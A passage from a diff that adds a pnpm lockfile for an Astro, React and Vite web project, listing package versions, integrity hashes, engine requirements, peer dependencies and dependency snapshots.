{integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} + engines: {node: '>=8'} + + string-width@7.2.0: + resolution: {integrity: sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==} + engines: {node: '>=18'} + + string.prototype.codepointat@0.2.1: + resolution: {integrity: sha512-2cBVCj6I4IOvEnjgO/hWqXjqBGsY+zwPmHl12Srk9IXSZ56Jwwmy+66XO5Iut/oQVR7t5ihYdLB0GMa4alEUcg==} + + stringify-entities@4.0.4: + resolution: {integrity: sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==} + + strip-ansi@6.0.1: + resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} + engines: {node: '>=8'} + + strip-ansi@7.1.2: + resolution: {integrity: sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==} + engines: {node: '>=12'} + + style-to-js@1.1.21: + resolution: {integrity: sha512-RjQetxJrrUJLQPHbLku6U/ocGtzyjbJMP9lCNK7Ag0CNh690nSH8woqWH9u16nMjYBAok+i7JO1NP2pOy8IsPQ==} + + style-to-object@1.0.14: + resolution: {integrity: sha512-LIN7rULI0jBscWQYaSswptyderlarFkjQ+t79nzty8tcIAceVomEVlLzH5VP4Cmsv6MtKhs7qaAiwlcp+Mgaxw==} + + suf-log@2.5.3: + resolution: {integrity: sha512-KvC8OPjzdNOe+xQ4XWJV2whQA0aM1kGVczMQ8+dStAO6KfEB140JEVQ9dE76ONZ0/Ylf67ni4tILPJB41U0eow==} + + svgo@4.0.0: + resolution: {integrity: sha512-VvrHQ+9uniE+Mvx3+C9IEe/lWasXCU0nXMY2kZeLrHNICuRiC8uMPyM14UEaMOFA5mhyQqEkB02VoQ16n3DLaw==} + engines: {node: '>=16'} + hasBin: true + + tiny-inflate@1.0.3: + resolution: {integrity: sha512-pkY1fj1cKHb2seWDy0B16HeWyczlJA9/WW3u3c4z/NiWDsO3DOU5D7nhTLE9CF0yXv/QZFY7sEJmj24dK+Rrqw==} + + tinyexec@1.0.2: + resolution: {integrity: sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg==} + engines: {node: '>=18'} + + tinyglobby@0.2.15: + resolution: {integrity: sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==} + engines: {node: '>=12.0.0'} + + trim-lines@3.0.1: + resolution: {integrity: sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==} + + trough@2.2.0: + resolution: {integrity: sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==} + + tsconfck@3.1.6: + resolution: {integrity: sha512-ks6Vjr/jEw0P1gmOVwutM3B7fWxoWBL2KRDb1JfqGVawBmO5UsvmWOQFGHBPl5yxYz4eERr19E6L7NMv+Fej4w==} + engines: {node: ^18 || >=20} + hasBin: true + peerDependencies: + typescript: ^5.0.0 + peerDependenciesMeta: + typescript: + optional: true + + tslib@2.8.1: + resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==} + + type-fest@4.41.0: + resolution: {integrity: sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==} + engines: {node: '>=16'} + + typesafe-path@0.2.2: + resolution: {integrity: sha512-OJabfkAg1WLZSqJAJ0Z6Sdt3utnbzr/jh+NAHoyWHJe8CMSy79Gm085094M9nvTPy22KzTVn5Zq5mbapCI/hPA==} + + typescript-auto-import-cache@0.3.6: + resolution: {integrity: sha512-RpuHXrknHdVdK7wv/8ug3Fr0WNsNi5l5aB8MYYuXhq2UH5lnEB1htJ1smhtD5VeCsGr2p8mUDtd83LCQDFVgjQ==} + + typescript@5.9.3: + resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} + engines: {node: '>=14.17'} + hasBin: true + + ufo@1.6.1: + resolution: {integrity: sha512-9a4/uxlTWJ4+a5i0ooc1rU7C7YOw3wT+UGqdeNNHWnOF9qcMBgLRS+4IYUqbczewFx4mLEig6gawh7X6mFlEkA==} + + ultrahtml@1.6.0: + resolution: {integrity: sha512-R9fBn90VTJrqqLDwyMph+HGne8eqY1iPfYhPzZrvKpIfwkWZbcYlfpsb8B9dTvBfpy1/hqAD7Wi8EKfP9e8zdw==} + + uncrypto@0.1.3: + resolution: {integrity: sha512-Ql87qFHB3s/De2ClA9e0gsnS6zXG27SkTiSJwjCc9MebbfapQfuPzumMIUMi38ezPZVNFcHI9sUIepeQfw8J8Q==} + + undici-types@7.16.0: + resolution: {integrity: sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==} + + unicode-properties@1.4.1: + resolution: {integrity: sha512-CLjCCLQ6UuMxWnbIylkisbRj31qxHPAurvena/0iwSVbQ2G1VY5/HjV0IRabOEbDHlzZlRdCrD4NhB0JtU40Pg==} + + unicode-trie@2.0.0: + resolution: {integrity: sha512-x7bc76x0bm4prf1VLg79uhAzKw8DVboClSN5VxJuQ+LKDOVEW9CdH+VY7SP+vX7xCYQqzzgQpFqz15zeLvAtZQ==} + + unified@11.0.5: + resolution: {integrity: sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==} + + unifont@0.6.0: + resolution: {integrity: sha512-5Fx50fFQMQL5aeHyWnZX9122sSLckcDvcfFiBf3QYeHa7a1MKJooUy52b67moi2MJYkrfo/TWY+CoLdr/w0tTA==} + + unist-util-find-after@5.0.0: + resolution: {integrity: sha512-amQa0Ep2m6hE2g72AugUItjbuM8X8cGQnFoHk0pGfrFeT9GZhzN5SW8nRsiGKK7Aif4CrACPENkA6P/Lw6fHGQ==} + + unist-util-is@6.0.1: + resolution: {integrity: sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==} + + unist-util-modify-children@4.0.0: + resolution: {integrity: sha512-+tdN5fGNddvsQdIzUF3Xx82CU9sMM+fA0dLgR9vOmT0oPT2jH+P1nd5lSqfCfXAw+93NhcXNY2qqvTUtE4cQkw==} + + unist-util-position-from-estree@2.0.0: + resolution: {integrity: sha512-KaFVRjoqLyF6YXCbVLNad/eS4+OfPQQn2yOd7zF/h5T/CSL2v8NpN6a5TPvtbXthAGw5nG+PuTtq+DdIZr+cRQ==} + + unist-util-position@5.0.0: + resolution: {integrity: sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==} + + unist-util-remove-position@5.0.0: + resolution: {integrity: sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q==} + + unist-util-stringify-position@4.0.0: + resolution: {integrity: sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==} + + unist-util-visit-children@3.0.0: + resolution: {integrity: sha512-RgmdTfSBOg04sdPcpTSD1jzoNBjt9a80/ZCzp5cI9n1qPzLZWF9YdvWGN2zmTumP1HWhXKdUWexjy/Wy/lJ7tA==} + + unist-util-visit-parents@6.0.2: + resolution: {integrity: sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==} + + unist-util-visit@5.0.0: + resolution: {integrity: sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg==} + + unstorage@1.17.3: + resolution: {integrity: sha512-i+JYyy0DoKmQ3FximTHbGadmIYb8JEpq7lxUjnjeB702bCPum0vzo6oy5Mfu0lpqISw7hCyMW2yj4nWC8bqJ3Q==} + peerDependencies: + '@azure/app-configuration': ^1.8.0 + '@azure/cosmos': ^4.2.0 + '@azure/data-tables': ^13.3.0 + '@azure/identity': ^4.6.0 + '@azure/keyvault-secrets': ^4.9.0 + '@azure/storage-blob': ^12.26.0 + '@capacitor/preferences': ^6.0.3 || ^7.0.0 + '@deno/kv': '>=0.9.0' + '@netlify/blobs': ^6.5.0 || ^7.0.0 || ^8.1.0 || ^9.0.0 || ^10.0.0 + '@planetscale/database': ^1.19.0 + '@upstash/redis': ^1.34.3 + '@vercel/blob': '>=0.27.1' + '@vercel/functions': ^2.2.12 || ^3.0.0 + '@vercel/kv': ^1.0.1 + aws4fetch: ^1.0.20 + db0: '>=0.2.1' + idb-keyval: ^6.2.1 + ioredis: ^5.4.2 + uploadthing: ^7.4.4 + peerDependenciesMeta: + '@azure/app-configuration': + optional: true + '@azure/cosmos': + optional: true + '@azure/data-tables': + optional: true + '@azure/identity': + optional: true + '@azure/keyvault-secrets': + optional: true + '@azure/storage-blob': + optional: true + '@capacitor/preferences': + optional: true + '@deno/kv': + optional: true + '@netlify/blobs': + optional: true + '@planetscale/database': + optional: true + '@upstash/redis': + optional: true + '@vercel/blob': + optional: true + '@vercel/functions': + optional: true + '@vercel/kv': + optional: true + aws4fetch: + optional: true + db0: + optional: true + idb-keyval: + optional: true + ioredis: + optional: true + uploadthing: + optional: true + + update-browserslist-db@1.2.3: + resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==} + hasBin: true + peerDependencies: + browserslist: '>= 4.21.0' + + util-deprecate@1.0.2: + resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} + + vfile-location@5.0.3: + resolution: {integrity: sha512-5yXvWDEgqeiYiBe1lbxYF7UMAIm/IcopxMHrMQDq3nvKcjPKIhZklUKL+AE7J7uApI4kwe2snsK+eI6UTj9EHg==} + + vfile-message@4.0.3: + resolution: {integrity: sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==} + + vfile@6.0.3: + resolution: {integrity: sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==} + + vite@6.4.1: + resolution: {integrity: sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g==} + engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} + hasBin: true + peerDependencies: + '@types/node': ^18.0.0 || ^20.0.0 || >=22.0.0 + jiti: '>=1.21.0' + less: '*' + lightningcss: ^1.21.0 + sass: '*' + sass-embedded: '*' + stylus: '*' + sugarss: '*' + terser: ^5.16.0 + tsx: ^4.8.1 + yaml: ^2.4.2 + peerDependenciesMeta: + '@types/node': + optional: true + jiti: + optional: true + less: + optional: true + lightningcss: + optional: true + sass: + optional: true + sass-embedded: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + tsx: + optional: true + yaml: + optional: true + + vitefu@1.1.1: + resolution: {integrity: sha512-B/Fegf3i8zh0yFbpzZ21amWzHmuNlLlmJT6n7bu5e+pCHUKQIfXSYokrqOBGEMMe9UG2sostKQF9mml/vYaWJQ==} + peerDependencies: + vite: ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0-beta.0 + peerDependenciesMeta: + vite: + optional: true + + volar-service-css@0.0.68: + resolution: {integrity: sha512-lJSMh6f3QzZ1tdLOZOzovLX0xzAadPhx8EKwraDLPxBndLCYfoTvnNuiFFV8FARrpAlW5C0WkH+TstPaCxr00Q==} + peerDependencies: + '@volar/language-service': ~2.4.0 + peerDependenciesMeta: + '@volar/language-service': + optional: true + + volar-service-emmet@0.0.68: + resolution: {integrity: sha512-nHvixrRQ83EzkQ4G/jFxu9Y4eSsXS/X2cltEPDM+K9qZmIv+Ey1w0tg1+6caSe8TU5Hgw4oSTwNMf/6cQb3LzQ==} + peerDependencies: + '@volar/language-service': ~2.4.0 + peerDependenciesMeta: + '@volar/language-service': + optional: true + + volar-service-html@0.0.68: + resolution: {integrity: sha512-fru9gsLJxy33xAltXOh4TEdi312HP80hpuKhpYQD4O5hDnkNPEBdcQkpB+gcX0oK0VxRv1UOzcGQEUzWCVHLfA==} + peerDependencies: + '@volar/language-service': ~2.4.0 + peerDependenciesMeta: + '@volar/language-service': + optional: true + + volar-service-prettier@0.0.68: + resolution: {integrity: sha512-grUmWHkHlebMOd6V8vXs2eNQUw/bJGJMjekh/EPf/p2ZNTK0Uyz7hoBRngcvGfJHMsSXZH8w/dZTForIW/4ihw==} + peerDependencies: + '@volar/language-service': ~2.4.0 + prettier: ^2.2 || ^3.0 + peerDependenciesMeta: + '@volar/language-service': + optional: true + prettier: + optional: true + + volar-service-typescript-twoslash-queries@0.0.68: + resolution: {integrity: sha512-NugzXcM0iwuZFLCJg47vI93su5YhTIweQuLmZxvz5ZPTaman16JCvmDZexx2rd5T/75SNuvvZmrTOTNYUsfe5w==} + peerDependencies: + '@volar/language-service': ~2.4.0 + peerDependenciesMeta: + '@volar/language-service': + optional: true + + volar-service-typescript@0.0.68: + resolution: {integrity: sha512-z7B/7CnJ0+TWWFp/gh2r5/QwMObHNDiQiv4C9pTBNI2Wxuwymd4bjEORzrJ/hJ5Yd5+OzeYK+nFCKevoGEEeKw==} + peerDependencies: + '@volar/language-service': ~2.4.0 + peerDependenciesMeta: + '@volar/language-service': + optional: true + + volar-service-yaml@0.0.68: + resolution: {integrity: sha512-84XgE02LV0OvTcwfqhcSwVg4of3MLNUWPMArO6Aj8YXqyEVnPu8xTEMY2btKSq37mVAPuaEVASI4e3ptObmqcA==} + peerDependencies: + '@volar/language-service': ~2.4.0 + peerDependenciesMeta: + '@volar/language-service': + optional: true + + vscode-css-languageservice@6.3.9: + resolution: {integrity: sha512-1tLWfp+TDM5ZuVWht3jmaY5y7O6aZmpeXLoHl5bv1QtRsRKt4xYGRMmdJa5Pqx/FTkgRbsna9R+Gn2xE+evVuA==} + + vscode-html-languageservice@5.6.1: + resolution: {integrity: sha512-5Mrqy5CLfFZUgkyhNZLA1Ye5g12Cb/v6VM7SxUzZUaRKWMDz4md+y26PrfRTSU0/eQAl3XpO9m2og+GGtDMuaA==} + + vscode-json-languageservice@4.1.8: + resolution: {integrity: sha512-0vSpg6Xd9hfV+eZAaYN63xVVMOTmJ4GgHxXnkLCh+9RsQBkWKIghzLhW2B9ebfG+LQQg8uLtsQ2aUKjTgE+QOg==} + engines: {npm: '>=7.0.0'} + + vscode-jsonrpc@8.2.0: + resolution: {integrity: sha512-C+r0eKJUIfiDIfwJhria30+TYWPtuHJXHtI7J0YlOmKAo7ogxP20T0zxB7HZQIFhIyvoBPwWskjxrvAtfjyZfA==} + engines: {node: '>=14.0.0'} + + vscode-languageserver-protocol@3.17.5: + resolution: {integrity: sha512-mb1bvRJN8SVznADSGWM9u/b07H7Ecg0I3OgXDuLdn307rl/J3A9YD6/eYOssqhecL27hK1IPZAsaqh00i/Jljg==} + + vscode-languageserver-textdocument@1.0.12: + resolution: {integrity: sha512-cxWNPesCnQCcMPeenjKKsOCKQZ/L6Tv19DTRIGuLWe32lyzWhihGVJ/rcckZXJxfdKCFvRLS3fpBIsV/ZGX4zA==} + + vscode-languageserver-types@3.17.5: + resolution: {integrity: sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg==} + + vscode-languageserver@9.0.1: + resolution: {integrity: sha512-woByF3PDpkHFUreUa7Hos7+pUWdeWMXRd26+ZX2A8cFx6v/JPTtd4/uN0/jB6XQHYaOlHbio03NTHCqrgG5n7g==} + hasBin: true + + vscode-nls@5.2.0: + resolution: {integrity: sha512-RAaHx7B14ZU04EU31pT+rKz2/zSl7xMsfIZuo8pd+KZO6PXtQmpevpq3vxvWNcrGbdmhM/rr5Uw5Mz+NBfhVng==} + + vscode-uri@3.1.0: + resolution: {integrity: sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ==} + + web-namespaces@2.0.1: + resolution: {integrity: sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==} + + which-pm-runs@1.1.0: + resolution: {integrity: sha512-n1brCuqClxfFfq/Rb0ICg9giSZqCS+pLtccdag6C2HyufBrh3fBOiy9nb6ggRMvWOVH5GrdJskj5iGTZNxd7SA==} + engines: {node: '>=4'} + + widest-line@5.0.0: + resolution: {integrity: sha512-c9bZp7b5YtRj2wOe6dlj32MK+Bx/M/d+9VB2SHM1OtsUHR0aV0tdP6DWh/iMt0kWi1t5g1Iudu6hQRNd1A4PVA==} + engines: {node: '>=18'} + + wrap-ansi@7.0.0: + resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==} + engines: {node: '>=10'} + + wrap-ansi@9.0.2: + resolution: {integrity: sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==} + engines: {node: '>=18'} + + xxhash-wasm@1.1.0: + resolution: {integrity: sha512-147y/6YNh+tlp6nd/2pWq38i9h6mz/EuQ6njIrmW8D1BS5nCqs0P6DG+m6zTGnNz5I+uhZ0SHxBs9BsPrwcKDA==} + + y18n@5.0.8: + resolution: {integrity: sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==} + engines: {node: '>=10'} + + yallist@3.1.1: + resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==} + + yaml-language-server@1.19.2: + resolution: {integrity: sha512-9F3myNmJzUN/679jycdMxqtydPSDRAarSj3wPiF7pchEPnO9Dg07Oc+gIYLqXR4L+g+FSEVXXv2+mr54StLFOg==} + hasBin: true + + yaml@2.7.1: + resolution: {integrity: sha512-10ULxpnOCQXxJvBgxsn9ptjq6uviG/htZKk9veJGhlqn3w/DxQ631zFF+nlQXLwmImeS5amR2dl2U8sg6U9jsQ==} + engines: {node: '>= 14'} + hasBin: true + + yaml@2.8.2: + resolution: {integrity: sha512-mplynKqc1C2hTVYxd0PU2xQAc22TI1vShAYGksCCfxbn/dFwnHTNi1bvYsBTkhdUNtGIf5xNOg938rrSSYvS9A==} + engines: {node: '>= 14.6'} + hasBin: true + + yargs-parser@21.1.1: + resolution: {integrity: sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==} + engines: {node: '>=12'} + + yargs@17.7.2: + resolution: {integrity: sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==} + engines: {node: '>=12'} + + yocto-queue@1.2.2: + resolution: {integrity: sha512-4LCcse/U2MHZ63HAJVE+v71o7yOdIe4cZ70Wpf8D/IyjDKYQLV5GD46B+hSTjJsvV5PztjvHoU580EftxjDZFQ==} + engines: {node: '>=12.20'} + + yocto-spinner@0.2.3: + resolution: {integrity: sha512-sqBChb33loEnkoXte1bLg45bEBsOP9N1kzQh5JZNKj/0rik4zAPTNSAVPj3uQAdc6slYJ0Ksc403G2XgxsJQFQ==} + engines: {node: '>=18.19'} + + yoctocolors@2.1.2: + resolution: {integrity: sha512-CzhO+pFNo8ajLM2d2IW/R93ipy99LWjtwblvC1RsoSUMZgyLbYFr221TnSNT7GjGdYui6P459mw9JH/g/zW2ug==} + engines: {node: '>=18'} + + yoga-layout@3.2.1: + resolution: {integrity: sha512-0LPOt3AxKqMdFBZA3HBAt/t/8vIKq7VaQYbuA8WxCgung+p9TVyKRYdpvCb80HcdTN2NkbIKbhNwKUfm3tQywQ==} + + zod-to-json-schema@3.25.0: + resolution: {integrity: sha512-HvWtU2UG41LALjajJrML6uQejQhNJx+JBO9IflpSja4R03iNWfKXrj6W2h7ljuLyc1nKS+9yDyL/9tD1U/yBnQ==} + peerDependencies: + zod: ^3.25 || ^4 + + zod-to-ts@1.2.0: + resolution: {integrity: sha512-x30XE43V+InwGpvTySRNz9kB7qFU8DlyEy7BsSTCHPH1R0QasMmHWZDCzYm6bVXtj/9NNJAZF3jW8rzFvH5OFA==} + peerDependencies: + typescript: ^4.9.4 || ^5.0.2 + zod: ^3 + + zod@3.25.76: + resolution: {integrity: sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==} + + zwitch@2.0.4: + resolution: {integrity: sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==} + +snapshots: + + '@astrojs/check@0.9.6(prettier-plugin-astro@0.14.1)(prettier@3.7.4)(typescript@5.9.3)': + dependencies: + '@astrojs/language-server': 2.16.3(prettier-plugin-astro@0.14.1)(prettier@3.7.4)(typescript@5.9.3) + chokidar: 4.0.3 + kleur: 4.1.5 + typescript: 5.9.3 + yargs: 17.7.2 + transitivePeerDependencies: + - prettier + - prettier-plugin-astro + + '@astrojs/compiler@2.13.0': {} + + '@astrojs/internal-helpers@0.7.5': {} + + '@astrojs/language-server@2.16.3(prettier-plugin-astro@0.14.1)(prettier@3.7.4)(typescript@5.9.3)': + dependencies: + '@astrojs/compiler': 2.13.0 + '@astrojs/yaml2ts': 0.2.2 + '@jridgewell/sourcemap-codec': 1.5.5 + '@volar/kit': 2.4.27(typescript@5.9.3) + '@volar/language-core': 2.4.27 + '@volar/language-server': 2.4.27 + '@volar/language-service': 2.4.27 + muggle-string: 0.4.1 + tinyglobby: 0.2.15 + volar-service-css: 0.0.68(@volar/language-service@2.4.27) + volar-service-emmet: 0.0.68(@volar/language-service@2.4.27) + volar-service-html: 0.0.68(@volar/language-service@2.4.27) + volar-service-prettier: 0.0.68(@volar/language-service@2.4.27)(prettier@3.7.4) + volar-service-typescript: 0.0.68(@volar/language-service@2.4.27) + volar-service-typescript-twoslash-queries: 0.0.68(@volar/language-service@2.4.27) + volar-service-yaml: 0.0.68(@volar/language-service@2.4.27) + vscode-html-languageservice: 5.6.1 + vscode-uri: 3.1.0 + optionalDependencies: + prettier: 3.7.4 + prettier-plugin-astro: 0.14.1 + transitivePeerDependencies: + - typescript + + '@astrojs/markdown-remark@6.3.10': + dependencies: + '@astrojs/internal-helpers': 0.7.5 + '@astrojs/prism': 3.3.0 + github-slugger: 2.0.0 + hast-util-from-html: 2.0.3 + hast-util-to-text: 4.0.2 + import-meta-resolve: 4.2.0 + js-yaml: 4.1.1 + mdast-util-definitions: 6.0.0 + rehype-raw: 7.0.0 + rehype-stringify: 10.0.1 + remark-gfm: 4.0.1 + remark-parse: 11.0.0 + remark-rehype: 11.1.2 + remark-smartypants: 3.0.2 + shiki: 3.19.0 + smol-toml: 1.5.2 + unified: 11.0.5 + unist-util-remove-position: 5.0.0 + unist-util-visit: 5.0.0 + unist-util-visit-parents: 6.0.2 + vfile: 6.0.3 + transitivePeerDependencies: + - supports-color + + '@astrojs/markdown-remark@6.3.9': + dependencies: + '@astrojs/internal-helpers': 0.7.5 + '@astrojs/prism': 3.3.0 + github-slugger: 2.0.0 + hast-util-from-html: 2.0.3 + hast-util-to-text: 4.0.2 + import-meta-resolve: 4.2.0 + js-yaml: 4.1.1 + mdast-util-definitions: 6.0.0 + rehype-raw: 7.0.0 + rehype-stringify: 10.0.1 + remark-gfm: 4.0.1 + remark-parse: 11.0.0 + remark-rehype: 11.1.2 + remark-smartypants: 3.0.2 + shiki: 3.19.0 + smol-toml: 1.5.2 + unified: 11.0.5 + unist-util-remove-position: 5.0.0 + unist-util-visit: 5.0.0 + unist-util-visit-parents: 6.0.2 + vfile: 6.0.3 + transitivePeerDependencies: + - supports-color + + '@astrojs/mdx@4.3.13(astro@5.16.4(@types/node@24.10.2)(rollup@4.53.3)(typescript@5.9.3)(yaml@2.8.2))': + dependencies: + '@astrojs/markdown-remark': 6.3.10 + '@mdx-js/mdx': 3.1.1 + acorn: 8.15.0 + astro: 5.16.4(@types/node@24.10.2)(rollup@4.53.3)(typescript@5.9.3)(yaml@2.8.2) + es-module-lexer: 1.7.0 + estree-util-visit: 2.0.0 + hast-util-to-html: 9.0.5 + piccolore: 0.1.3 + rehype-raw: 7.0.0 + remark-gfm: 4.0.1 + remark-smartypants: 3.0.2 + source-map: 0.7.6 + unist-util-visit: 5.0.0 + vfile: 6.0.3 + transitivePeerDependencies: + - supports-color + + '@astrojs/prism@3.3.0': + dependencies: + prismjs: 1.30.0 + + '@astrojs/react@4.4.2(@types/node@24.10.2)(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(yaml@2.8.2)': + dependencies: + '@types/react': 19.2.7 + '@types/react-dom': 19.2.3(@types/react@19.2.7) + '@vitejs/plugin-react': 4.7.0(vite@6.4.1(@types/node@24.10.2)(yaml@2.8.2)) + react: 19.2.3 + react-dom: 19.2.3(react@19.2.3) + ultrahtml: 1.6.0 + vite: 6.4.1(@types/node@24.10.2)(yaml@2.8.2) + transitivePeerDependencies: + - '@types/node' + - jiti + - less + - lightningcss + - sass + - sass-embedded + - stylus + - sugarss + - supports-color + - terser + - tsx + - yaml + + '@astrojs/sitemap@3.7.0': + dependencies: + sitemap: 8.0.2 + stream-replace-string: 2.0.0 + zod: 3.25.76 + + '@astrojs/telemetry@3.3.0': + dependencies: + ci-info: 4.3.1 + debug: 4.4.3 + dlv: 1.1.3 + dset: 3.1.4 + is-docker: 3.0.0 + is-wsl: 3.1.0 + which-pm-runs: 1.1.0 + transitivePeerDependencies: + - supports-color + + '@astrojs/yaml2ts@0.2.2': + dependencies: + yaml: 2.8.2 + + '@babel/code-frame@7.27.1': + dependencies: + '@babel/helper-validator-identifier': 7.28.5 + js-tokens: 4.0.0 + picocolors: 1.1.1 + + '@babel/compat-data@7.28.5': {} + + '@babel/core@7.28.5': + dependencies: + '@babel/code-frame': 7.27.1 + '@babel/generator': 7.28.5 + '@babel/helper-compilation-targets': 7.27.2 + '@babel/helper-module-transforms': 7.28.3(@babel/core@7.28.5) + '@babel/helpers': 7.28.4 + '@babel/parser': 7.28.5 + '@babel/template': 7.27.2 + '@babel/traverse': 7.28.5 + '@babel/types': 7.28.5 + '@jridgewell/remapping': 2.3.5 + convert-source-map: 2.0.0 + debug: 4.4.3 + gensync: 1.0.0-beta.2 + json5: 2.2.3 + semver: 6.3.1 + transitivePeerDependencies: + - supports-color + + '@babel/generator@7.28.5': + dependencies: + '@babel/parser': 7.28.5 + '@babel/types': 7.28.5 + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.31 + jsesc: 3.1.0 + + '@babel/helper-compilation-targets@7.27.2': + dependencies: + '@babel/compat-data': 7.28.5 + '@babel/helper-validator-option': 7.27.1 + browserslist: 4.28.1 + lru-cache: 5.1.1 + semver: 6.3.1 + + '@babel/helper-globals@7.28.0': {} + + '@babel/helper-module-imports@7.27.1': + dependencies: + '@babel/traverse': 7.28.5 + '@babel/types': 7.28.5 + transitivePeerDependencies: + - supports-color + + '@babel/helper-module-transforms@7.28.3(@babel/core@7.28.5)': + dependencies: + '@babel/core': 7.28.5 + '@babel/helper-module-imports': 7.27.1 + 